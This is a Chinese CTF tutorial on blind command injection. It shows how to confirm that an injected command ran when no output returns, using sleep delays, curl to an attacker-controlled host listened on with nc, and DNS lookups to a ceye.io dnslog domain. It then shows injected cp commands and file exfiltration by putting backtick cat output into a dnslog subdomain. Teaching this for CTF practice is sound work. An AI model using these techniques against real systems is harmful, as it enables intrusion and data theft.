首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题

CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题

原创
作者头像
牛油果
修改2019-10-21 14:19:48
3.2K0
修改2019-10-21 14:19:48
举报

命令执行判断

命令执行可能会存在命令执行完没有回显,首先要判断命令是否有执行,可以通过三种方式来判断:延时、HTTP请求、DNS请求。

1、 延时

无延时无回显
无延时无回显
有延时无回显
有延时无回显

通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行。(”sleep 3”表示延时3秒)

2、 HTTP请求

目标机通过向公网可通信的机子发起http请求,而这个公网可通信的机子是我们可控的,则当该公网机子收到http请求就代表命令有执行。

例:我们在公网机上可以通过”nc -lv 端口号”来监听该端口,当目标机”curl 公网机ip:端口号”的时候,公网机的该端口可以发现有http请求过来。(注意:ping命令不产生http请求)

公网机进行8000端口监听
公网机进行8000端口监听
目标机向公网机的8000端口发起http请
目标机向公网机的8000端口发起http请
公网机监听中的8000端口收到http请求
公网机监听中的8000端口收到http请求
将”curl 公网机ip:端口号”命令拼接到
将”curl 公网机ip:端口号”命令拼接到
公网机监听中的8000端口收到http请求
公网机监听中的8000端口收到http请求

3、 DNS请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)

例:大家可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录。

我这边得到的域名是wzrtbq.ceye.io,如果我去访问1111111. wzrtbq.ceye.io,那么就会记录下来这个域名解析请求。

访问1111111. wzrtbq.ceye.io
访问1111111. wzrtbq.ceye.io
域名解析请求被记录
域名解析请求被记录
将访问域名拼接到地址中
将访问域名拼接到地址中
域名解析请求被记录
域名解析请求被记录

利用

1、直接写入或外部下载shell执行命令

例:通过命令执行直接得到文件内容

生成1.txt拷贝
生成1.txt拷贝
访问1.txt
访问1.txt

将”=cp where_is_flag.php 1.txt”做为参数传递给ping,然后就执行了” cp where_is_flag.php 1.txt”这个命令,生成1.txt文件,在去访问1.txt,就能得到1.txt的内容(也就是where_is_flag.php的内容),最后找到flag

2、通过http请求/dns请求等方式带出数据

例:通过dnslog带出数据

注意:1、命令执行时要避免空格,空格会导致空格后面的命令执行不到;2、将读取的文件命令用``包含起来;3、拼接的域名有长度限制。

替换读取文件中的空格:`cat where_is_

读取where_is_flag.php:`cat where_is
读取where_is_flag.php:`cat where_is

拼接域名:`cat where_is_flag.php|sed

利用dnslog
利用dnslog
得到文件内容(即得到了flag文件地址)
得到文件内容(即得到了flag文件地址)
获取flag文件内容
获取flag文件内容
获取到flag
获取到flag

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 命令执行判断
  • 利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档